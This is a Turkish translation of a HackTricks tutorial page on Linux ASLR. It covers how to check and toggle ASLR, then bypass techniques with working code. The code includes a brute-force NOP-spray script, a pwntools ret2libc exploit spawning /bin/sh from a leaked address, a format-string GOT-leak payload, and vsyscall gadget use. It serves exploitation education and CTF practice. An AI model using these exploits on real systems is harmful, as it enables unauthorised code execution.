mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
294 lines
15 KiB
Markdown
294 lines
15 KiB
Markdown
# ASLR
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
## Temel Bilgiler
|
||
|
||
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifleten, yığın, bellek havuzu ve kütüphaneler gibi belirli türdeki saldırıları tahmin etmeyi önemli ölçüde zorlaştırır.
|
||
|
||
### **ASLR Durumunu Kontrol Etme**
|
||
|
||
Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirleyen **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz:
|
||
|
||
* **0**: Rastgeleleştirme yok. Her şey statiktir.
|
||
* **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
|
||
* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek de rastgeleleştirilir.
|
||
|
||
ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:
|
||
```bash
|
||
cat /proc/sys/kernel/randomize_va_space
|
||
```
|
||
### **ASLR'nin Devre Dışı Bırakılması**
|
||
|
||
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz:
|
||
```bash
|
||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||
```
|
||
Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:
|
||
```bash
|
||
setarch `arch` -R ./bin args
|
||
setarch `uname -m` -R ./bin args
|
||
```
|
||
### **ASLR'yi Etkinleştirme**
|
||
|
||
ASLR'yi **etkinleştirmek** için, genellikle kök ayrıcalıkları gerektiren `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Tam rasgeleleştirme etkinleştirme aşağıdaki komutla yapılabilir:
|
||
```bash
|
||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||
```
|
||
### **Yeniden Başlatmalara Karşı Kalıcılık**
|
||
|
||
`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:
|
||
```tsconfig
|
||
kernel.randomize_va_space=2 # Enable ASLR
|
||
# or
|
||
kernel.randomize_va_space=0 # Disable ASLR
|
||
```
|
||
`/etc/sysctl.conf` dosyasını düzenledikten sonra değişiklikleri uygulamak için:
|
||
```bash
|
||
sudo sysctl -p
|
||
```
|
||
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
|
||
|
||
## **Atlatmalar**
|
||
|
||
### 32 bit kaba kuvvet saldırısı
|
||
|
||
PaX işlem adres alanını **3 gruba** ayırır:
|
||
|
||
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
|
||
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` adında.
|
||
* **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresine** yol açar.
|
||
|
||
Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlamayı mümkün kılar.
|
||
|
||
#### Kaba kuvvet fikirleri:
|
||
|
||
* **Kod enjeksiyonundan önce büyük bir NOP kaydı barındıracak kadar büyük bir taşma varsa**, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmını atlamasını sağlayabilirsiniz**.
|
||
* Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve kod enjeksiyonunu bir ortam değişkenine eklemek mümkündür**.
|
||
* Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):
|
||
```python
|
||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||
```
|
||
* Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **kaba kuvvet uygulayabilirsiniz**, örneğin 10'u argüman olarak geçirerek. Eğer sunucu **yanıt vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
|
||
|
||
{% hint style="success" %}
|
||
64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
|
||
{% endhint %}
|
||
|
||
### 64 bit yığın kaba kuvvet saldırısı
|
||
|
||
Çevre değişkenleriyle yığının büyük bir kısmını işgal etmek mümkündür ve ardından yerel olarak binleri/yüzleri kez kötüye kullanmak için denemelerde bulunabilirsiniz.\
|
||
Aşağıdaki kod, yığında **sadece bir adresi seçmenin** mümkün olduğunu ve her **birkaç yüz kez çalıştırıldığında** bu adresin **NOP talimatını** içereceğini göstermektedir:
|
||
```c
|
||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||
#include <stdio.h>
|
||
|
||
int main() {
|
||
unsigned long long address = 0xffffff1e7e38;
|
||
unsigned int* ptr = (unsigned int*)address;
|
||
unsigned int value = *ptr;
|
||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
```python
|
||
import subprocess
|
||
import traceback
|
||
|
||
# Start the process
|
||
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
||
n_nops = int(128000/4)
|
||
shellcode_env_var = nop * n_nops
|
||
|
||
# Define the environment variables you want to set
|
||
env_vars = {
|
||
'a': shellcode_env_var,
|
||
'b': shellcode_env_var,
|
||
'c': shellcode_env_var,
|
||
'd': shellcode_env_var,
|
||
'e': shellcode_env_var,
|
||
'f': shellcode_env_var,
|
||
'g': shellcode_env_var,
|
||
'h': shellcode_env_var,
|
||
'i': shellcode_env_var,
|
||
'j': shellcode_env_var,
|
||
'k': shellcode_env_var,
|
||
'l': shellcode_env_var,
|
||
'm': shellcode_env_var,
|
||
'n': shellcode_env_var,
|
||
'o': shellcode_env_var,
|
||
'p': shellcode_env_var,
|
||
}
|
||
|
||
cont = 0
|
||
while True:
|
||
cont += 1
|
||
|
||
if cont % 10000 == 0:
|
||
break
|
||
|
||
print(cont, end="\r")
|
||
# Define the path to your binary
|
||
binary_path = './aslr-testing'
|
||
|
||
try:
|
||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||
output = process.communicate()[0]
|
||
if "0xd5" in str(output):
|
||
print(str(cont) + " -> " + output)
|
||
except Exception as e:
|
||
print(e)
|
||
print(traceback.format_exc())
|
||
pass
|
||
```
|
||
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
### Yerel Bilgiler (`/proc/[pid]/stat`)
|
||
|
||
Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içinde şu gibi **ilginç bilgiler** bulunur:
|
||
|
||
- **startcode** & **endcode**: Binary'nin **TEXT** kısmının üstünde ve altındaki adresler
|
||
- **startstack**: **Stack**'in başlangıç adresi
|
||
- **start\_data** & **end\_data**: **BSS**'nin üstünde ve altındaki adresler
|
||
- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri
|
||
- **arg\_start** & **arg\_end**: **cli argümanlarının** üstünde ve altındaki adresler
|
||
- **env\_start** & **env\_end**: **Çevre değişkenlerinin** üstünde ve altındaki adresler
|
||
|
||
Bu nedenle, saldırgan, söz konusu binary'nin aynı bilgisayarda olduğu ve bu binary'nin ham argümanlardan taşma beklemiyor olması durumunda, fakat bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girişten taşma** bekliyorsa, saldırganın **bu dosyadan bazı adresleri alıp bunlardan exploit için ofsetler oluşturması mümkündür**.
|
||
|
||
{% hint style="success" %}
|
||
Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın.
|
||
{% endhint %}
|
||
|
||
### Bir sızıntıya sahip olmak
|
||
|
||
- **Zorluk, bir sızıntı vermek**
|
||
|
||
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntıdan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek exploit, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımıdır (daha fazla ayrıntı için o sayfaya bakın):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln-32')
|
||
libc = elf.libc
|
||
p = process()
|
||
|
||
p.recvuntil('at: ')
|
||
system_leak = int(p.recvline(), 16)
|
||
|
||
libc.address = system_leak - libc.sym['system']
|
||
log.success(f'LIBC base: {hex(libc.address)}')
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
libc.sym['system'],
|
||
0x0, # return address
|
||
next(libc.search(b'/bin/sh'))
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
p.interactive()
|
||
```
|
||
* **ret2plt**
|
||
|
||
Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işlevin adresini dışa aktarmak mümkün olabilir. Kontrol edin:
|
||
|
||
{% content-ref url="ret2plt.md" %}
|
||
[ret2plt.md](ret2plt.md)
|
||
{% endcontent-ref %}
|
||
|
||
* **Format Strings Arbitrary Read**
|
||
|
||
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yetkiniz varsa, bir **libc işlevi**nin adresini GOT'tan dışa aktarmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||
```python
|
||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||
payload += b'|'
|
||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||
|
||
# this part is only relevant if you need to call the main function again
|
||
|
||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||
payload += p32(elf.symbols['main'])
|
||
```
|
||
Format Strings arbitrary read hakkında daha fazla bilgiyi aşağıda bulabilirsiniz:
|
||
|
||
{% content-ref url="../../format-strings/" %}
|
||
[format-strings](../../format-strings/)
|
||
{% endcontent-ref %}
|
||
|
||
### Ret2ret & Ret2pop
|
||
|
||
Stack içindeki adresleri istismar ederek ASLR'yi atlamaya çalışın:
|
||
|
||
{% content-ref url="ret2ret.md" %}
|
||
[ret2ret.md](ret2ret.md)
|
||
{% endcontent-ref %}
|
||
|
||
### vsyscall
|
||
|
||
**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmak için hizmet verir. **vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\
|
||
Ancak, burada çok ilginç araçlar bulunmayacak (örneğin, bir `ret;` eşdeğerini almak mümkündür)
|
||
|
||
(Aşağıdaki örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation) alınmıştır)
|
||
|
||
Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilir, ancak yürütmenin **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlaması başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek yürütmenin bu **vsyscall** adresine ulaşmasını sağlayan bir saldırgan, bu saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarısına ulaşabilir.
|
||
```
|
||
ef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
|
||
gef➤ x/8g 0xffffffffff600000
|
||
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
|
||
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
gef➤ x/4i 0xffffffffff600800
|
||
0xffffffffff600800: mov rax,0x135
|
||
0xffffffffff600807: syscall
|
||
0xffffffffff600809: ret
|
||
0xffffffffff60080a: int3
|
||
gef➤ x/4i 0xffffffffff600800
|
||
0xffffffffff600800: mov rax,0x135
|
||
0xffffffffff600807: syscall
|
||
0xffffffffff600809: ret
|
||
0xffffffffff60080a: int3
|
||
```
|
||
### vDSO
|
||
|
||
Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele hale getirilmeyeceğinden ASLR'yi atlayabilir**. Daha fazla bilgi için şuraya bakın:
|
||
|
||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||
{% endcontent-ref %}
|